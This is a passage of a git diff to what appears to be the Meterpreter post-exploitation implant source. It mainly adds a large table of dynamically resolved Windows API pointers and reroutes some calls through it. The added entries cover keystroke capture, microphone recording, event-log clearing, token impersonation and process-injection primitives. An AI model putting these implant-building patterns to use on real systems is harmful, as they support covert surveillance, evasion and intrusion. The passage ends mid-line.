diff --git a/.gitignore b/.gitignore index e063408cc..45eebe7db 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,6 @@ .vs *.user .vscode + +# Local agent workspace +.github/agent-workspace/ diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index 31128063c..9870c85d6 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -1,5 +1,6 @@ #ifndef _METERPRETER_COMMON_WINAPI_H #define _METERPRETER_COMMON_WINAPI_H +#include #include // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA #include // For ADDRINFOA / PADDRINFOA #include @@ -13,6 +14,24 @@ #include // For HCRYPTPROV, HCRYPTKEY, PTOKEN_PRIVILEGES, etc. #include // For UUID generation. #include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// strsafe/dontuse deliberately macro-poisons these deprecated API names. They +// are table member names here, not direct calls to the deprecated imports. +#ifdef lstrcpyW +#undef lstrcpyW +#endif +#ifdef wsprintfW +#undef wsprintfW +#endif #ifdef _WININET_ typedef VOID WINHTTP_CURRENT_USER_IE_PROXY_CONFIG; @@ -44,14 +63,16 @@ typedef struct _OBJECT_ATTRIBUTES { typedef struct _WinApiNtdll { NTSTATUS (*ZwAllocateVirtualMemory)(HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect); NTSTATUS (*ZwOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); - NTSTATUS (*ZwWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten); - NTSTATUS (*ZwReadVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead); + NTSTATUS (*ZwWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); + NTSTATUS (*ZwFlushInstructionCache)(HANDLE ProcessHandle, LPCVOID BaseAddress, SIZE_T NumberOfBytesToFlush); + NTSTATUS (*ZwReadVirtualMemory)(HANDLE ProcessHandle, LPCVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); NTSTATUS (*ZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); NTSTATUS (*ZwQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); NTSTATUS (*ZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); NTSTATUS (*ZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os); + ULONG (*RtlNtStatusToDosError)(NTSTATUS Status); NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); NTSTATUS (*ZwQueryObject)(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); NTSTATUS (*ZwQueryInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength); @@ -65,6 +86,7 @@ typedef struct _WinApiNtdll { NTSTATUS (*ZwQueryAttributesFile)(OBJECT_ATTRIBUTES* ObjectAttributes, PVOID FileInformation); NTSTATUS (*ZwClose)(HANDLE Handle); NTSTATUS (*ZwLockVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType); + NTSTATUS (*ZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); } WinApiNtdll; // kernel32.dll @@ -132,6 +154,78 @@ typedef struct _WinApiKernel32 { HANDLE (*CreateMutexW)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName); BOOL (*TerminateThread)(HANDLE hThread, DWORD dwExitCode); int (*lstrcmpW)(LPCWSTR lpString1, LPCWSTR lpString2); + DWORD (*GetLastError)(VOID); + BOOL (*CopyFileW)(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists); + BOOL (*CreateDirectoryW)(LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); + BOOL (*DeleteFileA)(LPCSTR lpFileName); + BOOL (*DeleteFileW)(LPCWSTR lpFileName); + BOOL (*DisconnectNamedPipe)(HANDLE hNamedPipe); + DWORD (*ExpandEnvironmentStringsA)(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize); + DWORD (*ExpandEnvironmentStringsW)(LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); + BOOL (*FileTimeToSystemTime)(const FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime); + BOOL (*FindClose)(HANDLE hFindFile); + HANDLE (*FindFirstFileW)(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); + BOOL (*FindNextFileW)(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); + HRSRC (*FindResourceA)(HMODULE hModule, LPCSTR lpName, LPCSTR lpType); + DWORD (*GetCurrentDirectoryW)(DWORD nBufferLength, LPWSTR lpBuffer); + DWORD (*GetCurrentProcessId)(VOID); + int (*GetDateFormatW)(LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate); + BOOL (*GetDiskFreeSpaceExA)(LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes); + UINT (*GetDriveTypeA)(LPCSTR lpRootPathName); + UINT (*GetDriveTypeW)(LPCWSTR lpRootPathName); + BOOL (*GetExitCodeThread)(HANDLE hThread, LPDWORD lpExitCode); + DWORD (*GetFileAttributesA)(LPCSTR lpFileName); + BOOL (*GetFileAttributesExW)(LPCWSTR lpFileName, GET_FILEEX_INFO_LEVELS fInfoLevelId, LPVOID lpFileInformation); + DWORD (*GetFileAttributesW)(LPCWSTR lpFileName); + BOOL (*GetHandleInformation)(HANDLE hObject, LPDWORD lpdwFlags); + DWORD (*GetLogicalDriveStringsA)(DWORD nBufferLength, LPSTR lpBuffer); + DWORD (*GetLogicalDrives)(VOID); + FARPROC (*GetProcAddress)(HMODULE hModule, LPCSTR lpProcName); + LCID (*GetSystemDefaultLCID)(VOID); + DWORD (*GetTickCount)(VOID); + int (*GetTimeFormatW)(LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpTime, LPCWSTR lpFormat, LPWSTR lpTimeStr, int cchTime); + BOOL (*GetVersionExA)(LPOSVERSIONINFOA lpVersionInformation); + HGLOBAL (*LoadResource)(HMODULE hModule, HRSRC hResInfo); + LPVOID (*LockResource)(HGLOBAL hResData); + VOID (*OutputDebugStringW)(LPCWSTR lpOutputString); + BOOL (*MoveFileW)(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName); + BOOL (*RemoveDirectoryW)(LPCWSTR lpPathName); + BOOL (*SetCurrentDirectoryW)(LPCWSTR lpPathName); + BOOL (*SetFileAttributesW)(LPCWSTR lpFileName, DWORD dwFileAttributes); + VOID (*SetLastError)(DWORD dwErrCode); + DWORD (*SizeofResource)(HMODULE hModule, HRSRC hResInfo); + int (*lstrcmpiW)(LPCWSTR lpString1, LPCWSTR lpString2); + LPWSTR (*lstrcpyW)(LPWSTR lpString1, LPCWSTR lpString2); + int (*lstrlenA)(LPCSTR lpString); + int (*lstrlenW)(LPCWSTR lpString); + PVOID (*InterlockedExchangePointer)(PVOID volatile* Target, PVOID Value); + DWORD (*FormatMessageA)(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list* Arguments); + BOOL (*CreatePipe)(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); + BOOL (*CreateProcessW)(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); + BOOL (*GetComputerNameA)(LPSTR lpBuffer, LPDWORD nSize); + HANDLE (*GetCurrentProcess)(VOID); + HANDLE (*GetCurrentThread)(VOID); + DWORD (*GetEnvironmentVariableW)(LPCWSTR lpName, LPWSTR lpBuffer, DWORD nSize); + VOID (*GetLocalTime)(LPSYSTEMTIME lpSystemTime); + int (*GetLocaleInfoA)(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData); + BOOL (*GetThreadContext)(HANDLE hThread, LPCONTEXT lpContext); + DWORD (*GetTimeZoneInformation)(LPTIME_ZONE_INFORMATION lpTimeZoneInformation); + BOOL (*SetThreadContext)(HANDLE hThread, const CONTEXT* lpContext); + BOOL (*TerminateProcess)(HANDLE hProcess, UINT uExitCode); + BOOL (*VirtualLock)(LPVOID lpAddress, SIZE_T dwSize); + BOOL (*VirtualUnlock)(LPVOID lpAddress, SIZE_T dwSize); + DWORD (*WaitForSingleObjectEx)(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable); + BOOL (*Process32FirstW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); + BOOL (*Process32NextW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); + VOID (*GetNativeSystemInfo)(LPSYSTEM_INFO lpSystemInfo); + BOOL (*QueryFullProcessImageNameW)(HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize); + BOOL (*InitializeProcThreadAttributeList)(LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); + BOOL (*UpdateProcThreadAttribute)(LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); + LANGID (*GetSystemDefaultLangID)(VOID); + DWORD (*WTSGetActiveConsoleSessionId)(VOID); + FARPROC (*GetLoadLibraryAExportAddress)(VOID); + FARPROC (*GetProcAddressExportAddress)(VOID); + FARPROC (*GetFreeLibraryExportAddress)(VOID); } WinApiKernel32; // advapi32.dll @@ -158,6 +252,38 @@ typedef struct _WinApiAdvApi32 { BOOL (*CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); BOOL (*CryptAcquireContextW)(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags); BOOL (*AddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid); + BOOL (*CryptCreateHash)(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH* phHash); + BOOL (*CryptDestroyHash)(HCRYPTHASH hHash); + BOOL (*CryptGetHashParam)(HCRYPTHASH hHash, DWORD dwParam, BYTE* pbData, DWORD* pdwDataLen, DWORD dwFlags); + BOOL (*CryptHashData)(HCRYPTHASH hHash, const BYTE* pbData, DWORD dwDataLen, DWORD dwFlags); + BOOL (*RevertToSelf)(VOID); + BOOL (*ClearEventLogA)(HANDLE hEventLog, LPCSTR lpBackupFileName); + BOOL (*CloseEventLog)(HANDLE hEventLog); + BOOL (*ConvertSidToStringSidA)(PSID Sid, LPSTR* StringSid); + BOOL (*CreateProcessAsUserW)(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); + BOOL (*DuplicateTokenEx)(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); + BOOL (*GetNumberOfEventLogRecords)(HANDLE hEventLog, PDWORD NumberOfRecords); + BOOL (*GetOldestEventLogRecord)(HANDLE hEventLog, PDWORD OldestRecord); + BOOL (*GetTokenInformation)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); + BOOL (*LookupAccountSidW)(LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); + BOOL (*LookupPrivilegeValueA)(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); + HANDLE (*OpenEventLogA)(LPCSTR lpUNCServerName, LPCSTR lpSourceName); + BOOL (*ReadEventLogA)(HANDLE hEventLog, DWORD dwReadFlags, DWORD dwRecordOffset, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, DWORD* pnBytesRead, DWORD* pnMinNumberOfBytesNeeded); + LSTATUS (*RegCloseKey)(HKEY hKey); + LSTATUS (*RegConnectRegistryW)(LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult); + LSTATUS (*RegCreateKeyExW)(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); + LSTATUS (*RegDeleteKeyW)(HKEY hKey, LPCWSTR lpSubKey); + LSTATUS (*RegDeleteValueW)(HKEY hKey, LPCWSTR lpValueName); + LSTATUS (*RegEnumKeyW)(HKEY hKey, DWORD dwIndex, LPWSTR lpName, DWORD cchName); + LSTATUS (*RegEnumValueW)(HKEY hKey, DWORD dwIndex, LPWSTR lpValueName, LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); + LSTATUS (*RegLoadKeyW)(HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpFile); + LSTATUS (*RegOpenKeyExW)(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); + LSTATUS (*RegQueryInfoKeyA)(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); + LSTATUS (*RegQueryInfoKeyW)(HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); + LSTATUS (*RegQueryValueExW)(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); + LSTATUS (*RegSetValueExW)(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData); + LSTATUS (*RegUnLoadKeyW)(HKEY hKey, LPCWSTR lpSubKey); + BOOL (*CreateProcessWithTokenW)(HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); } WinApiAdvApi32; // crypt32.dll @@ -174,6 +300,40 @@ typedef struct _WinApiUser32 { BOOL (*GetUserObjectInformationA)(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded); HDESK (*GetThreadDesktop)(DWORD dwThreadId); HWINSTA (*GetProcessWindowStation)(VOID); + BOOL (*CloseDesktop)(HDESK hDesktop); + BOOL (*CloseWindowStation)(HWINSTA hWinSta); + HWND (*CreateWindowExA)(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam); + LRESULT (*DefWindowProcA)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); + BOOL (*DestroyWindow)(HWND hWnd); + LRESULT (*DispatchMessageA)(const MSG* lpMsg); + BOOL (*EnumChildWindows)(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam); + BOOL (*EnumDesktopsA)(HWINSTA hwinsta, DESKTOPENUMPROCA lpEnumFunc, LPARAM lParam); + BOOL (*EnumWindowStationsA)(WINSTAENUMPROCA lpEnumFunc, LPARAM lParam); + BOOL (*ExitWindowsEx)(UINT uFlags, DWORD dwReason); + SHORT (*GetAsyncKeyState)(int vKey); + HWND (*GetForegroundWindow)(VOID); + BOOL (*GetKeyboardState)(PBYTE lpKeyState); + int (*GetKeyNameTextW)(LONG lParam, LPWSTR lpString, int cchSize); + SHORT (*GetKeyState)(int nVirtKey); + BOOL (*GetMessageA)(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax); + int (*GetSystemMetrics)(int nIndex); + DWORD (*GetWindowThreadProcessId)(HWND hWnd, LPDWORD lpdwProcessId); + UINT (*MapVirtualKeyA)(UINT uCode, UINT uMapType); + HDESK (*OpenDesktopA)(LPCSTR lpszDesktop, DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess); + HWINSTA (*OpenWindowStationA)(LPCSTR lpszWinSta, BOOL fInherit, ACCESS_MASK dwDesiredAccess); + ATOM (*RegisterClassExA)(const WNDCLASSEXA* unnamedParam1); + UINT (*SendInput)(UINT cInputs, LPINPUT pInputs, int cbSize); + LRESULT (*SendMessageA)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); + BOOL (*SetProcessWindowStation)(HWINSTA hWinSta); + BOOL (*SetThreadDesktop)(HDESK hDesktop); + BOOL (*SwitchDesktop)(HDESK hDesktop); + int (*ToUnicodeEx)(UINT wVirtKey, UINT wScanCode, const BYTE* lpKeyState, LPWSTR pwszBuff, int cchBuff, UINT wFlags, HKL dwhkl); + BOOL (*TranslateMessage)(const MSG* lpMsg); + BOOL (*UnregisterClassA)(LPCSTR lpClassName, HINSTANCE hInstance); + int (*wsprintfW)(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...); + BOOL (*GetLastInputInfo)(PLASTINPUTINFO plii); + UINT (*GetRawInputData)(HRAWINPUT hRawInput, UINT uiCommand, LPVOID pData, PUINT pcbSize, UINT cbSizeHeader); + BOOL (*RegisterRawInputDevices)(PCRAWINPUTDEVICE pRawInputDevices, UINT uiNumDevices, UINT cbSize); } WinApiUser32; // ws2_32.dll @@ -199,8 +359,109 @@ typedef struct _WinApiWs2_32 { unsigned long (*inet_addr)(const char* cp); int (*WSAGetLastError)(VOID); char* (*inet_ntoa)(struct in_addr in); + int (*getsockname)(SOCKET s, struct sockaddr* name, int* namelen); + u_short (*ntohs)(u_short netshort); + int (*recvfrom)(SOCKET s, char* buf, int len, int flags, struct sockaddr* from, int* fromlen); + int (*sendto)(SOCKET s, const char* buf, int len, int flags, const struct sockaddr* to, int tolen); + int (*shutdown)(SOCKET s, int how); + INT (*WSAAddressToStringA)(LPSOCKADDR lpsaAddress, DWORD dwAddressLength, LPWSAPROTOCOL_INFOA lpProtocolInfo, LPSTR lpszAddressString, LPDWORD lpdwAddressStringLength); + int (*WSACleanup)(VOID); + WSAEVENT (*WSACreateEvent)(VOID); + int (*WSAEventSelect)(SOCKET s, WSAEVENT hEventObject, long lNetworkEvents); + VOID (*WSASetLastError)(int iError); + SOCKET (*WSASocketA)(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags); } WinApiWs2_32; +// iphlpapi.dll +typedef struct _WinApiIphlpapi { + DWORD (*CreateIpForwardEntry)(PMIB_IPFORWARDROW pRoute); + DWORD (*DeleteIpForwardEntry)(PMIB_IPFORWARDROW pRoute); + DWORD (*GetIfEntry)(PMIB_IFROW pIfRow); + DWORD (*GetIpAddrTable)(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder); + DWORD (*GetIpForwardTable)(PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, BOOL bOrder); + NETIO_STATUS (*GetIpInterfaceEntry)(PMIB_IPINTERFACE_ROW Row); + ULONG (*GetIpNetTable)(PMIB_IPNETTABLE IpNetTable, PULONG SizePointer, BOOL Order); + ULONG (*GetTcpTable)(PMIB_TCPTABLE TcpTable, PULONG SizePointer, BOOL Order); + ULONG (*GetUdpTable)(PMIB_UDPTABLE UdpTable, PULONG SizePointer, BOOL Order); + ULONG (*GetAdaptersAddresses)(ULONG Family, ULONG Flags, PVOID Reserved, PIP_ADAPTER_ADDRESSES AdapterAddresses, PULONG SizePointer); + DWORD (*GetExtendedTcpTable)(PVOID pTcpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, TCP_TABLE_CLASS TableClass, ULONG Reserved); + DWORD (*GetExtendedUdpTable)(PVOID pUdpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, UDP_TABLE_CLASS TableClass, ULONG Reserved); + VOID (*FreeMibTable)(PVOID Memory); + NETIO_STATUS (*GetIpForwardTable2)(ADDRESS_FAMILY Family, PMIB_IPFORWARD_TABLE2* Table); + DWORD (*GetBestInterface)(IPAddr dwDestAddr, PDWORD pdwBestIfIndex); +} WinApiIphlpapi; + +// mpr.dll +typedef struct _WinApiMpr { + DWORD (*WNetGetUniversalNameA)(LPCSTR lpLocalPath, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpBufferSize); +} WinApiMpr; + +// ole32.dll +typedef struct _WinApiOle32 { + HRESULT (*CoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); + HRESULT (*CoInitialize)(LPVOID pvReserved); + VOID (*CoUninitialize)(VOID); +} WinApiOle32; + +// oleaut32.dll +typedef struct _WinApiOleAut32 { + HRESULT (*VariantClear)(VARIANTARG* pvarg); + VOID (*VariantInit)(VARIANTARG* pvarg); +} WinApiOleAut32; + +// winmm.dll +typedef struct _WinApiWinmm { + BOOL (*sndPlaySoundA)(LPCSTR pszSound, UINT fuSound); + MMRESULT (*waveInAddBuffer)(HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh); + MMRESULT (*waveInOpen)(LPHWAVEIN phwi, UINT uDeviceID, LPCWAVEFORMATEX pwfx, DWORD_PTR dwCallback, DWORD_PTR dwInstance, DWORD fdwOpen); + MMRESULT (*waveInPrepareHeader)(HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh); + MMRESULT (*waveInStart)(HWAVEIN hwi); + MMRESULT (*waveInStop)(HWAVEIN hwi); +} WinApiWinmm; + +// netapi32.dll +typedef struct _WinApiNetApi32 { + NET_API_STATUS (*NetApiBufferFree)(LPVOID Buffer); + NET_API_STATUS (*NetWkstaGetInfo)(LMSTR servername, DWORD level, LPBYTE* bufptr); +} WinApiNetApi32; + +// psapi.dll +typedef struct _WinApiPsapi { + BOOL (*EnumDeviceDrivers)(LPVOID* lpImageBase, DWORD cb, LPDWORD lpcbNeeded); + DWORD (*GetDeviceDriverBaseNameW)(LPVOID ImageBase, LPWSTR lpBaseName, DWORD nSize); + DWORD (*GetDeviceDriverFileNameW)(LPVOID ImageBase, LPWSTR lpFilename, DWORD nSize); + BOOL (*EnumProcesses)(DWORD* lpidProcess, DWORD cb, LPDWORD lpcbNeeded); + BOOL (*EnumProcessModules)(HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded); + DWORD (*GetModuleBaseNameA)(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize); + DWORD (*GetModuleBaseNameW)(HANDLE hProcess, HMODULE hModule, LPWSTR lpBaseName, DWORD nSize); + DWORD (*GetModuleFileNameExA)(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize); + DWORD (*GetModuleFileNameExW)(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize); + DWORD (*GetProcessImageFileNameW)(HANDLE hProcess, LPWSTR lpImageFileName, DWORD nSize); +} WinApiPsapi; + +// userenv.dll +typedef struct _WinApiUserenv { + BOOL (*CreateEnvironmentBlock)(LPVOID* lpEnvironment, HANDLE hToken, BOOL bInherit); + BOOL (*DestroyEnvironmentBlock)(LPVOID lpEnvironment); +} WinApiUserenv; + +// wtsapi32.dll +typedef struct _WinApiWtsapi32 { + BOOL (*WTSQueryUserToken)(ULONG SessionId, PHANDLE phToken); +} WinApiWtsapi32; + +// query.dll (Windows Desktop Search v2) +typedef struct _WinApiQuery { + HRESULT (*LocateCatalogsW)(LPCWSTR pwszScope, ULONG iBmk, LPWSTR pwszMachine, PULONG pcMachine, LPWSTR pwszCatalog, PULONG pcCatalog); + HRESULT (*CIMakeICommand)(PVOID* ppCommand, ULONG cScope, DWORD* pdwDepths, LPWSTR* ppwszScopes, LPWSTR* ppwszCatalogs, LPWSTR* ppwszMachines); + HRESULT (*CITextToFullTree)(LPCWSTR pwszRestriction, LPCWSTR pwszColumns, LPCWSTR pwszSortColumns, LPCWSTR pwszGroupings, PVOID* ppTree, ULONG cProperties, LPVOID* pPropertyDefinitions, LCID LocaleID); +} WinApiQuery; + +// shlwapi.dll +typedef struct _WinApiShlwapi { + LSTATUS (*SHDeleteKeyW)(HKEY hkey, LPCWSTR pszSubKey); +} WinApiShlwapi; + // wininet.dll typedef struct _WinApiWinInet { HINTERNET (*InternetOpenW)(LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR lpszProxyBypass, DWORD dwFlags); @@ -249,6 +510,17 @@ typedef struct _WinApi { WinApiWinInet wininet; WinApiRpcRt4 rpcrt4; WinApiWinHttp winhttp; + WinApiIphlpapi iphlpapi; + WinApiMpr mpr; + WinApiOle32 ole32; + WinApiOleAut32 oleaut32; + WinApiWinmm winmm; + WinApiNetApi32 netapi32; + WinApiPsapi psapi; + WinApiShlwapi shlwapi; + WinApiUserenv userenv; + WinApiWtsapi32 wtsapi32; + WinApiQuery query; } WinApi; -#endif \ No newline at end of file +#endif diff --git a/c/meterpreter/source/extensions/stdapi/server/audio/output.c b/c/meterpreter/source/extensions/stdapi/server/audio/output.c index e2138d1e1..3a1a339d0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/audio/output.c +++ b/c/meterpreter/source/extensions/stdapi/server/audio/output.c @@ -65,7 +65,7 @@ static DWORD audio_channel_close(Channel *channel, Packet *request, LPVOID conte AudioContext *ctx = (AudioContext *)context; // Play the audio buffer - sndPlaySound(ctx->buffer, SND_MEMORY); + met_api->win_api.winmm.sndPlaySoundA(ctx->buffer, SND_MEMORY); if (ctx->buffer) { diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/file.c b/c/meterpreter/source/extensions/stdapi/server/fs/file.c index 1ff680e45..d88e133e2 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/file.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/file.c @@ -29,7 +29,7 @@ static DWORD file_channel_write(Channel *channel, Packet *request, if (bufferSize) { written = fwrite(buffer, 1, bufferSize, ctx->fd); if (written < bufferSize) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } } @@ -69,7 +69,7 @@ static DWORD file_channel_read(Channel *channel, Packet *request, if (bufferSize) { bytes = fread(buffer, 1, bufferSize, ctx->fd); if (bytes < bufferSize) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } } @@ -113,7 +113,7 @@ static DWORD file_channel_tell(Channel *channel, Packet *request, LONG pos = 0; if ((pos = ftell(ctx->fd)) < 0) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } if (offset) @@ -322,29 +322,29 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) if (result != ERROR_SUCCESS) { dprintf("[FILE HASH] Failed to open file: %s", filePath); - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - if 